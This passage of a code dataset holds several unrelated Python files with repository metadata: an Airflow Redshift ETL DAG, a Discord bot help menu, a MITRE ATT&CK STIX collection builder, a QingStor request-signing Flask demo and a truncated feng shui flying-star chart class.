"attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.Sobel", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.WINDOW_AUTOSIZE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "27256066347", "text": "from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.subdag_operator import SubDagOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom operators.stage_redshift import StageToRedshiftOperator\nfrom operators.load_fact import LoadFactOperator\nfrom operators.load_dimension import LoadDimensionOperator\nfrom operators.data_quality import DataQualityOperator\nfrom helpers import SqlQueries\n\n# AWS_KEY = os.environ.get('AWS_KEY')\n# AWS_SECRET = os.environ.get('AWS_SECRET')\n\ndefault_args = {\n    'owner': 'udacity',\n    'start_date': datetime(2018, 1, 1),\n    'depends_on_past': False,\n    'email': ['airflow@example.com'],\n    'email_on_failure': False,\n    'email_on_retry': False,\n    'retries': 3,\n    'retry_delay': timedelta(minutes=5),\n    # 'sla': timedelta(hours=2),\n}\n\ndag = DAG('etl_dag',\n          default_args=default_args,\n          description='Load and transform data in Redshift with Airflow',\n          schedule_interval='0 * * * *',\n          catchup=False\n          )\n\nstart_operator = DummyOperator(task_id='Begin_execution',  dag=dag)\n\ncreate_tables = PostgresOperator(\n    task_id=\"Create_Tables\",\n    dag=dag,\n    postgres_conn_id=\"redshift\",\n    sql=\"create_tables.sql\"\n)\nstage_events_to_redshift = StageToRedshiftOperator(\n    task_id='Stage_events',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    aws_credentials_id=\"aws_credentials\",\n    table=\"staging_events\",\n    s3_bucket=\"udacity-dend\",\n    s3_key=\"log_data\",\n    copy_json_option=\"FORMAT AS json 's3://udacity-dend/log_json_path.json'\"\n\n)\nstage_songs_to_redshift = StageToRedshiftOperator(\n    task_id='Stage_songs',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    aws_credentials_id=\"aws_credentials\",\n    table=\"staging_songs\",\n    s3_bucket=\"udacity-dend\",\n    s3_key=\"song_data/A/A/A\",\n    copy_json_option=\"json 'auto'\"\n\n)\nload_songplays_table = LoadFactOperator(\n    task_id='Load_songplays_fact_table',\n    dag=dag,\n    redshift_conn_id=\"redshift\",\n    table =\"songplays\",\n    truncate_data=False,\n    sql_stmt=SqlQueries.songplay_table_insert\n)\n\nload_user_dimension_table = LoadDimensionOperator(\n    task_id='Load_user_dim_table',\n    dag=dag,\n    table = \"users\",\n    truncate_data=True,\n    sql_stmt = SqlQueries.user_table_insert\n)\n\nload_song_dimension_table = LoadDimensionOperator(\n    task_id='Load_song_dim_table',\n    dag=dag,\n    table = \"songs\",\n    truncate_data=True,\n    sql_stmt = SqlQueries.song_table_insert\n)\n\nload_artist_dimension_table = LoadDimensionOperator(\n    task_id='Load_artist_dim_table',\n    dag=dag,\n    table = \"artists\",\n    truncate_data=True,\n    sql_stmt = SqlQueries.artist_table_insert\n)\n\nload_time_dimension_table = LoadDimensionOperator(\n    task_id='Load_time_dim_table',\n    dag=dag,\n    table = \"time\",\n    truncate_data=True,\n    sql_stmt = SqlQueries.time_table_insert\n)\nrun_quality_checks = DataQualityOperator(\n    task_id='run_data_quality_checks',\n    dag=dag\n)\n\nend_operator = DummyOperator(task_id='Stop_execution',  dag=dag)\n\nstart_operator >> create_tables\ncreate_tables  >> [stage_events_to_redshift, stage_songs_to_redshift] >> load_songplays_table\nload_songplays_table >> [load_user_dimension_table,load_song_dimension_table,load_artist_dimension_table,load_time_dimension_table] >> run_quality_checks\nrun_quality_checks >> end_operator", "repo_name": "Karenzhang7717/airflow_data_pipelines", "sub_path": "dags/etl.py", "file_name": "etl.py", "file_ext": "py", "file_size_in_byte": 3413, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 24, "usage_type": "call"}, {"api_name": "airflow.DAG", "line_number": 28, "usage_type": "call"}, {"api_name": "airflow.operators.dummy_operator.DummyOperator", "line_number": 35, "usage_type": "call"}, {"api_name": "airflow.operators.postgres_operator.PostgresOperator", "line_number": 37, "usage_type": "call"}, {"api_name": "operators.stage_redshift.StageToRedshiftOperator", "line_number": 43, "usage_type": "call"}, {"api_name": "operators.stage_redshift.StageToRedshiftOperator", "line_number": 54, "usage_type": "call"}, {"api_name": "operators.load_fact.LoadFactOperator", "line_number": 65, "usage_type": "call"}, {"api_name": "helpers.SqlQueries.songplay_table_insert", "line_number": 71, "usage_type": "attribute"}, {"api_name": "helpers.SqlQueries", "line_number": 71, "usage_type": "name"}, {"api_name": "operators.load_dimension.LoadDimensionOperator", "line_number": 74, "usage_type": "call"}, {"api_name": "helpers.SqlQueries.user_table_insert", "line_number": 79, "usage_type": "attribute"}, {"api_name": "helpers.SqlQueries", "line_number": 79, "usage_type": "name"}, {"api_name": "operators.load_dimension.LoadDimensionOperator", "line_number": 82, "usage_type": "call"}, {"api_name": "helpers.SqlQueries.song_table_insert", "line_number": 87, "usage_type": "attribute"}, {"api_name": "helpers.SqlQueries", "line_number": 87, "usage_type": "name"}, {"api_name": "operators.load_dimension.LoadDimensionOperator", "line_number": 90, "usage_type": "call"}, {"api_name": "helpers.SqlQueries.artist_table_insert", "line_number": 95, "usage_type": "attribute"}, {"api_name": "helpers.SqlQueries", "line_number": 95, "usage_type": "name"}, {"api_name": "operators.load_dimension.LoadDimensionOperator", "line_number": 98, "usage_type": "call"}, {"api_name": "helpers.SqlQueries.time_table_insert", "line_number": 103, "usage_type": "attribute"}, {"api_name": "helpers.SqlQueries", "line_number": 103, "usage_type": "name"}, {"api_name": "operators.data_quality.DataQualityOperator", "line_number": 105, "usage_type": "call"}, {"api_name": "airflow.operators.dummy_operator.DummyOperator", "line_number": 110, "usage_type": "call"}]}
{"seq_id": "70990461669", "text": "import random\r\nimport discord\r\nimport asyncio\r\nfrom discord import colour\r\nfrom discord import embeds\r\nfrom discord.ext import commands\r\nfrom discord.ext.commands.core import command\r\n\r\n\r\n\r\nclass helpCommand(commands.Cog):\r\n    \r\n    def __init__(self, bot: commands.Bot):\r\n        self.bot = bot\r\n\r\n    @commands.group(invoke_without_command=True)\r\n    async def help(self, ctx: commands.Context):\r\n        em = discord.Embed(title= 'Help', description= \"Use y!help  for extended information on a command.\",color = ctx.author.color)\r\n\r\n        em.add_field(name = \"Yumeko Gif's\", value = \"gifs\")\r\n        em.add_field(name = \"Yumeko Pfps\", value = \"pfp\")\r\n        em.add_field(name = \"Kakegurui Reddit\", value = \"reddit\")\r\n        em.add_field(name = \"Yumeko Rates\", value = \"rates\")\r\n        em.add_field(name = \"Action Gif's\", value = \"action\")\r\n        em.add_field(name = \"Music Commands\", value = \"music\")\r\n        em.add_field(name = \"Economy Commands\", value = \"economy\")\r\n        em.add_field(name = \"Lots More Coming Soon...\", value = \"more\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n    @help.command()\r\n    async def gifs(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'gifs', description= \"Displays a Yumeko Gif.\",color = ctx.author.color)\r\n\r\n        em.add_field(name = \"yumeko gifs\", value = \"y! yumeko  |  gif\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n    @help.command()\r\n    async def pfp(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'pfp', description= \"Displays Random Yumeko pfp.\",color = ctx.author.color)\r\n\r\n        em.add_field(name = \"yumeko pfp\", value = \"y! yumekopfp  |  pfp  |  pic\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n    @help.command()\r\n    async def rates(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'simprate', description= \"Displays How Much of a Simp You Are To Yumeko.\" ,color = ctx.author.color)\r\n\r\n        em.add_field(name = \"Yumeko Simprate\", value = \"y! simprate  |  gayrate  |  waifurate\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n\r\n    @help.command()\r\n    async def action(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'action gifs', description= \"Displays a action on which you have chosen.\" ,color = ctx.author.color)\r\n\r\n        em.add_field(name = \"actions\", value = \"y! punch  |  poke  |  flick  |  kiss  |  hug  |  kick\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n    @help.command()\r\n    async def music(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'music', description= \"Music Commands.\" ,color = ctx.author.color)\r\n\r\n        em.add_field(name = \"Commands:\", value = \"\"\"\r\n        ◦ y!connect\r\n        ◦ y!disconnect\r\n        ◦ y!play \r\n        ◦ y!skip\r\n        ◦ y!pause\r\n        ◦ y!resume\r\n        ◦ y!seek  [reverse=False]\r\n        ◦ y!volume  [forced=False]\r\n        ◦ y!loop [type]\r\n        ◦ y!nowplaying\r\n        ◦ y!queue\r\n        ◦ y!equalizer\r\n\r\n        \"\"\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n    @help.command()\r\n    async def economy(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'economy', description= \"Economy Commands.\" ,color = ctx.author.color)\r\n\r\n        em.add_field(name = \"Commands:\", value = \"\"\"\r\n        ◦ y!balance\r\n        ◦ y!beg\r\n        ◦ y!withdraw\r\n        ◦ y!deposit\r\n        ◦ y!send\r\n        ◦ y!rob\r\n        ◦ y!slots\r\n        ◦ y!shop\r\n        ◦ y!buy\r\n        ◦ y!bag\r\n        ◦ y!buy this\r\n        ◦ y!sell\r\n        ◦ y!leaderboard\r\n\r\n        \"\"\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n\r\n    @help.command()\r\n    async def more(self, ctx: commands.Context):\r\n\r\n        em = discord.Embed(title= 'New Fetures', description= \"New ideas may be here\" ,color = ctx.author.color)\r\n\r\n        em.add_field(name = \"Waiting...\", value = \"Waiting more...\")\r\n\r\n        await ctx.send(embed = em)\r\n\r\n\r\n    ", "repo_name": "CivoHD/Yumeko", "sub_path": "yumekohelp.py", "file_name": "yumekohelp.py", "file_ext": "py", "file_size_in_byte": 3910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 11, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 11, "usage_type": "name"}, {"api_name": "discord.ext.commands.Bot", "line_number": 13, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 13, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 17, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 17, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 18, "usage_type": "call"}, {"api_name": "discord.ext.commands.group", "line_number": 16, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 16, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 32, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 32, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 41, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 50, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 50, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 52, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 60, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 60, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 62, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 69, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 69, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 71, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 92, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 92, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 94, "usage_type": "call"}, {"api_name": "discord.ext.commands.Context", "line_number": 117, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 117, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "26032038424", "text": "\"\"\"Contains STIXToCollection class and entrypoint for stixToCollection_cli.\"\"\"\n\nimport argparse\nimport copy\nimport json\nimport traceback\nfrom uuid import uuid4\nfrom datetime import datetime\nfrom stix2elevator.stix_stepper import step_bundle\nfrom stix2elevator.options import initialize_options, ElevatorOptions\n\n# https://github.com/mitre-attack/attack-stix-data/blob/docs/data-sources/USAGE.md#the-attck-spec\nX_MITRE_SPEC_VERSION = \"2.1.0\"\n\n\nclass STIXToCollection:\n    \"\"\"A STIXToCollection object.\"\"\"\n\n    @staticmethod\n    def stix_to_collection(bundle, name, version, description=None):\n        \"\"\"Enhance an existing stix bundle with a ATT&CK Collection object.\n\n        :param bundle: dictionary representation of a stix bundle\n        :param name: name for the generated collection object\n        :param version: parameter indicating the ATT&CK version for the generated collection object\n        :param description: optional parameter describing the collection\n        :returns: updated bundle, now containing a ATT&CK Collection object\n        \"\"\"\n        working_bundle = copy.deepcopy(bundle)\n        for obj in working_bundle[\"objects\"]:  # check to see if this bundle already contains a collection\n            if obj[\"type\"] == \"x-mitre-collection\":\n                return bundle\n\n        bundle_version = bundle.get(\"spec_version\", \"\")\n        if bundle_version == \"2.0\":\n            try:\n                print(\n                    \"[NOTE] - version 2.0 spec detected. Forcibly upgrading the bundle to 2.1 to support \"\n                    \"collections.\"\n                )\n                initialize_options(ElevatorOptions(custom_property_prefix=\"mitre\", silent=True))\n                working_bundle = step_bundle(working_bundle)\n                print(\n                    \"[NOTE] - NOTICE: ATT&CK in STIX 2.1 includes additional fields which were not present on the \"\n                    \"STIX 2.0 data. These fields have not been added automatically and their absence may affect \"\n                    \"compatibility with ingesting software. Please see \"\n                    \"https://github.com/mitre-attack/attack-stix-data/blob/master/USAGE.md for more information.\"\n                )\n            except Exception as e:\n                print(\n                    f\"[ERROR] - Unexpected issue encountered when trying to upgrade from 2.0 to 2.1: {e}. \"\n                    f\"Terminating...\"\n                )\n                print(f\"[ERROR] - Full Error trace: {traceback.print_exc(e)}\")\n                return None\n        elif bundle_version != \"2.1\":\n            print(\n                f\"[ERROR] - version {bundle_version or '[NOT FOUND]'} is not one of [2.0, 2.1]. \"\n                f\"This module only processes stix 2.0 and stix 2.1 bundles.\"\n            )\n            return None\n\n        time = datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\")\n        if not description:\n            description = \"This collection was autogenerated by STIXToCollection, as part of mitreattack-python\"\n        raw_collection = dict(\n            type=\"x-mitre-collection\",\n            id=f\"x-mitre-collection--{uuid4()}\",\n            spec_version=\"2.1\",\n            name=name,\n            x_mitre_version=version,\n            x_mitre_attack_spec_version=X_MITRE_SPEC_VERSION,\n            description=description,\n            created_by_ref=\"\",\n            created=time,\n            modified=time,\n            object_marking_refs=[],\n            x_mitre_contents=[],\n        )\n        for obj in working_bundle[\"objects\"]:\n            if obj[\"type\"] != \"marking-definition\":\n                try:\n                    raw_collection[\"x_mitre_contents\"].append(\n                        dict(object_ref=obj[\"id\"], object_modified=obj[\"modified\"])\n                    )\n                except KeyError as e:\n                    print(f\"[ERROR] - object {obj} is missing a necessary field: {e}. Exiting this script...\")\n                    return None\n                if \"object_marking_refs\" in obj.keys():\n                    for omr in obj[\"object_marking_refs\"]:\n                        if omr not in raw_collection[\"object_marking_refs\"]:\n                            raw_collection[\"object_marking_refs\"].append(omr)\n                if \"created_by_ref\" in obj.keys():\n                    if obj[\"created_by_ref\"] != raw_collection[\"created_by_ref\"]:\n                        if raw_collection[\"created_by_ref\"] != \"\":\n                            print(\n                                f\"[NOTE] multiple 'created_by_ref' values detected. \"\n                                f\"{raw_collection['created_by_ref']} (first encountered) will take precedence over \"\n                                f\"{obj['created_by_ref']}\"\n                            )\n                            continue\n                        raw_collection[\"created_by_ref\"] = obj[\"created_by_ref\"]\n\n        working_bundle[\"objects\"].insert(0, raw_collection)\n        return working_bundle\n\n\ndef main(args):\n    \"\"\"Entrypoint for stixToCollection_cli.\"\"\"\n    with open(args.input, \"r\", encoding=\"utf-16\") as input:\n        bundle = json.load(input)\n    with open(args.output, \"w\", encoding=\"utf-16\") as output:\n        output.write(\n            json.dumps(\n                STIXToCollection.stix_to_collection(\n                    bundle,\n                    args.name,\n                    args.version,\n                    args.description,\n                ),\n                indent=4,\n            )\n        )\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=\"Update a STIX 2.0 or 2.1 bundle to include a collection object referencing the contents of the \"\n        \"bundle.\"\n    )\n    parser.add_argument(\"name\", type=str, help=\"the name for the generated collection object\")\n    parser.add_argument(\"version\", help=\"the ATT&CK version for the generated collection object\")\n    parser.add_argument(\"--input\", type=str, default=\"bundle.json\", help=\"the input bundle file\")\n    parser.add_argument(\"--output\", type=str, default=\"bundle_out.json\", help=\"the output bundle file\")\n    parser.add_argument(\"--description\", type=str, default=None, help=\"description to use for the generated collection\")\n    argv = parser.parse_args()\n    main(argv)\n", "repo_name": "mitre-attack/mitreattack-python", "sub_path": "mitreattack/collections/stix_to_collection.py", "file_name": "stix_to_collection.py", "file_ext": "py", "file_size_in_byte": 6247, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 293, "dataset": "github-code", "pt": "71", "api": [{"api_name": "copy.deepcopy", "line_number": 29, "usage_type": "call"}, {"api_name": "stix2elevator.options.initialize_options", "line_number": 41, "usage_type": "call"}, {"api_name": "stix2elevator.options.ElevatorOptions", "line_number": 41, "usage_type": "call"}, {"api_name": "stix2elevator.stix_stepper.step_bundle", "line_number": 42, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 68, "usage_type": "call"}, {"api_name": "json.load", "line_number": 111, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 114, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 127, "usage_type": "call"}]}
{"seq_id": "18402098308", "text": "import os\n\nfrom flask import Flask, request\nfrom qingstor.sdk.config import Config\nfrom qingstor.sdk.request import Request\n\napp = Flask(__name__)\n\n# Get access_key_id and secret_access_key from system environment\naccess_key_id = os.environ.get('ACCESS_KEY_ID')\nsecret_access_key = os.environ.get('SECRET_ACCESS_KEY')\n\n# Init a new config object with keyid\nconfig = Config(access_key_id, secret_access_key)\n\n\ndef get_properties(data):\n    \"\"\" Get properties from data\n\n    :param data: the request data to be authorized\n    :return: properties: request properties\n    \"\"\"\n    properties = {}\n    url = data['url'].split('/')\n    if len(url) == 2 and url[1]:\n        properties['bucket-name'] = url[1]\n    if len(url) > 2 and url[2]:\n        properties['object-key'] = url[2].split('?')[0]\n    return properties\n\n\ndef get_auth(data):\n    \"\"\" Get signature with specific operation\n\n    :param data: the request data to be authorized\n    :return: signature: authorized string\n    \"\"\"\n    operation = {\n        'Headers': data.get('headers', {}),\n        'Method': data['method'],\n        'Params': data.get('params', {}),\n        'Properties': get_properties(data),\n        'URI': data['url'],\n    }\n    signature = Request(config, operation).get_authorization()\n    authorization = \"QS %s:%s\" % (access_key_id, signature)\n    return authorization\n\n\n@app.route('/', methods=['POST'])\ndef auth():\n    return get_auth(request.json)\n\n\nif __name__ == '__main__':\n    app.run()\n", "repo_name": "yunify/qingstor-demo-signature-server-python", "sub_path": "demo.py", "file_name": "demo.py", "file_ext": "py", "file_size_in_byte": 1470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "qingstor.sdk.config.Config", "line_number": 14, "usage_type": "call"}, {"api_name": "qingstor.sdk.request.Request", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "71479904549", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 27 19:13:39 2019\n\n@author: asus\n\"\"\"\n\nfrom data import *\nfrom collections import OrderedDict as od\nfrom eacal import EACal, lang\nimport datetime as dt\nimport cv2\nimport numpy as np\nfrom PIL import Image, ImageDraw, ImageFont \nfrom lunardate import LunarDate\nimport math\n\nc=EACal(zh_s=True)\n\nclass Location():\n    \n    def __init__(self,deg):\n        self.zuo=''\n        self.xiang=''\n        self.jianzuo=None\n        self.jianxiang=None\n        \n        if deg<=352.5 and deg>=7.5:\n            #print(1)\n            for k,v in dingxiang.iterrows():                \n                if v.loc['逆左']<=deg and v.loc['顺右']>=deg:\n                    self.zuo=k\n                    self.xiang=shan.dui(self.zuo)\n                    if v.loc['正左']>=deg:\n                        self.jianzuo=shan.ni(self.zuo,2)\n                        self.jianxiang=shan.dui(self.jianzuo)\n                    elif v.loc['正右']<=deg:\n                        self.jianzuo=shan.shun(self.zuo,2)\n                        self.jianxiang=shan.dui(self.jianzuo)\n        else:\n            self.zuo='子'\n            self.xiang='午'  \n            if 355.5>=deg:\n                self.jianzuo=shan.ni(self.zuo,2)\n                self.jianxiang=shan.dui(self.jianzuo)\n            elif 4.5<=deg:\n                self.jianzuo=shan.shun(self.zuo,2)\n                self.jianxiang=shan.dui(self.jianzuo)                        \n                \n\nclass House():\n    \n    def __init__(self,year,liunian,zuo,xiang,jianzuo=None,jianxiang=None):\n        self.year=year\n        self.liunian=liunian\n        self.liunianyun=self.getLiunianyun(self.liunian)\n        self.yun=self.getYuanyun()\n        self.zheng,self.ling,self.zhao=self.getSanshen()\n        self.zuo,self.xiang=self.getShanxiang(zuo,xiang)\n        self.zuogua=shangua.loc[self.zuo,'八卦']\n        self.xianggua=shangua.loc[self.xiang,'八卦']\n        self.luantou=None\n        if jianzuo and jianxiang:\n            #self.zuo,self.xiang=self.getShanxiang(jianzuo,jianxiang)\n            self.isjian=True\n            self.jianzuo=jianzuo\n            self.jianxiang=jianxiang\n        else:\n            self.isjian=False\n        self.pan=deepcopy(dipan)\n        self.getTianpan()\n        self.shanshunni=''\n        self.xiangshunni=''\n        self.shanshu=self.getShanxiangshu(self.zuo)\n        self.xiangshu=self.getShanxiangshu(self.xiang)\n        if self.isjian:\n            self.getJianshanpan()\n            self.getJianxiangpan()\n        else:\n            self.getShanpan()\n            self.getXiangpan()\n        self.xingyun=self.getStarsyun()\n        self.caiwei=self.getCaiwei()\n        self.geju=[]\n        self.getGeju()\n        self.liunianfeixing=self.getLiunianfeixing()\n        self.wenchangwei=''\n        self.wenchangwei=self.getWenchangwei()\n    def getBybagua(self,bagua):\n        return self.pan.xs(bagua,level='八卦')\n    def getYuanyun(self):\n        cond1=yuanyun.loc[:,'起始']<=self.year\n        cond2=yuanyun.loc[:,'终止']>=self.year\n        return yuanyun.loc[cond1&cond2]['运'].values[0]\n    def getShanxiang(self,zuo,xiang):\n        if shan.isDui(zuo,xiang):\n            return zuo,xiang\n    def feixing(self,pantype,zhong,sn):\n        self.pan[pantype]=list(['']*9)\n        tmpdict=od.fromkeys(self.pan.index.get_level_values('卦数'))\n        for i,v in enumerate(shunni[sn]):\n            tmpdict[v]=jiu.shun(zhong,i+1)\n        self.pan[pantype]=tmpdict.values()\n    def feixing_notpan(self,pantype,zhong,sn):\n        tmppan=deepcopy(dipan)\n        tmppan[pantype]=list(['']*9)\n        tmpdict=od.fromkeys(tmppan.index.get_level_values('卦数'))\n        for i,v in enumerate(shunni[sn]):\n            tmpdict[v]=jiu.shun(zhong,i+1)\n        tmppan[pantype]=tmpdict.values()\n        return tmppan\n    def shan2gua(self,s):\n            return shangua.loc[s,'八卦']\n    def shu2gua(self,s):\n        if s!='五':\n            return gonggua.loc[s,'八卦']\n        else:\n            return None\n    def getGuayinyang(self,gua):\n        return gonggua[gonggua['八卦']==gua]['阴阳'].values[0]\n    def getTianpan(self):\n        self.feixing('天盘',self.yun,'顺')\n    def getShanxiangshu(self,zhong):\n        #以山星为例，先按二十四山取其在地盘对应的卦，然后按后天八卦取卦数，、\n        #最后按此卦数把天盘中对应的飞星找出来，飞星用数字表示\n        zuogua=self.shan2gua(zhong)\n        dipanguashu=gonggua[gonggua['八卦']==zuogua].index.values[0]\n        return self.pan.loc[dipanguashu,'天盘'].values[0]\n\n\n    def getShunniyinyang(self,zhong,shu):\n        tmpbagua=self.shu2gua(shu)\n        if tmpbagua:\n            tmppan=shangua[shangua['八卦']==tmpbagua]\n            tmpxing=tmppan[tmppan['元龙']==shangua.loc[zhong,'元龙']]\n            return tmpxing,tmpxing['阴阳'].values[0]\n        else:\n            return None,shangua.loc[zhong,'阴阳']\n\n    def getShanxiangpan(self,pantype,zhong,shu):\n        #以山星为例，把山星数视为后天八卦数，找出对应的八卦，然后在此八卦对应的二十四山中、\n        #找出与山星元龙属性相同的对应八卦的阴阳，从而决定顺飞还是逆飞。\n        tmpxing,yinyang=self.getShunniyinyang(zhong,shu)\n        if pantype=='山盘':\n            self.shanshunni=shunnidict[yinyang]\n        elif pantype=='向盘':\n            self.xiangshunni=shunnidict[yinyang]            \n        self.feixing(pantype,shu,shunnidict[yinyang])\n    def getJianshanxiangpan(self,pantype,zhong,shu):\n        #与正向类似，差异在找替星过程。\n        tmpxing,yinyang=self.getShunniyinyang(zhong,shu)\n        if tmpxing is None:\n            tmpshu=shangua.loc[zhong,'替星']\n        else:\n            tmpshu=tmpxing['替星'].values[0]\n        if pantype=='山盘':\n            self.shanshu=tmpshu\n        elif pantype=='向盘':\n            self.xiangshu=tmpshu                 \n        self.feixing(pantype,tmpshu,shunnidict[yinyang])        \n\n    def getShanpan(self):\n        self.getShanxiangpan('山盘',self.zuo,self.shanshu)\n    def getXiangpan(self):\n        self.getShanxiangpan('向盘',self.xiang,self.xiangshu)\n    def getJianshanpan(self):\n        self.getJianshanxiangpan('山盘',self.zuo,self.shanshu)\n    def getJianxiangpan(self):\n        self.getJianshanxiangpan('向盘',self.xiang,self.xiangshu)\n\n    def getShanxianglocation(self,shanxiang):\n        return self.shan2gua(shanxiang)\n\n    def getStarsyun(self):\n        \n        tmp=self.pan[['生旺','天盘']]\n        tmp=tmp.set_index('生旺')\n        yundict=dict.fromkeys(list('旺生死煞退'))\n        yundict['旺']=gonggua.loc[tmp.loc['旺'].values.tolist()[0],'九星']\n        yundict['退']=gonggua.loc[tmp.loc['退'].values.tolist()[0],'九星']\n        yundict['生']=gonggua.loc[[i[0] for i in tmp.loc['生'].values.tolist()],'九星'].values.tolist()\n        yundict['煞']=gonggua.loc[[i[0] for i in tmp.loc['煞'].values.tolist()],'九星'].values.tolist()\n        yundict['死']=gonggua.loc[[i[0] for i in tmp.loc['死'].values.tolist()],'九星'].values.tolist()\n\n        return yundict\n        \n    def isWangshanWangshui(self,shanbagua,xiangbagua):\n\n        tmpshanshu=self.getBybagua(shanbagua)['山盘'].values[0]\n        tmpxiangshu=self.getBybagua(xiangbagua)['向盘'].values[0]        \n        if tmpshanshu==self.yun and tmpxiangshu==self.yun:\n            return True,['旺山旺水']\n        else:\n            return False,['无']\n    def isShangshanxiashui(self,shanbagua,xiangbagua):\n        tmpshanshu=self.getBybagua(xiangbagua)['山盘'].values[0]\n        tmpxiangshu=self.getBybagua(shanbagua)['向盘'].values[0]        \n        if tmpshanshu==self.yun and tmpxiangshu==self.yun:\n            return True,['上山下水']\n        else:\n            return False,['无']       \n    def isShuangxinghuixiang(self,shanbagua,xiangbagua):\n        tmpshanshu=self.getBybagua(xiangbagua)['山盘'].values[0]\n        tmpxiangshu=self.getBybagua(xiangbagua)['向盘'].values[0]         \n        if tmpshanshu==self.yun and tmpxiangshu==self.yun:\n            return True,['双星会向']\n        else:\n            return False,['无']\n    def isShuangxinghuizuo(self,shanbagua,xiangbagua):\n        tmpshanshu=self.getBybagua(shanbagua)['山盘'].values[0]\n        tmpxiangshu=self.getBybagua(shanbagua)['向盘'].values[0]         \n        if tmpshanshu==self.yun and 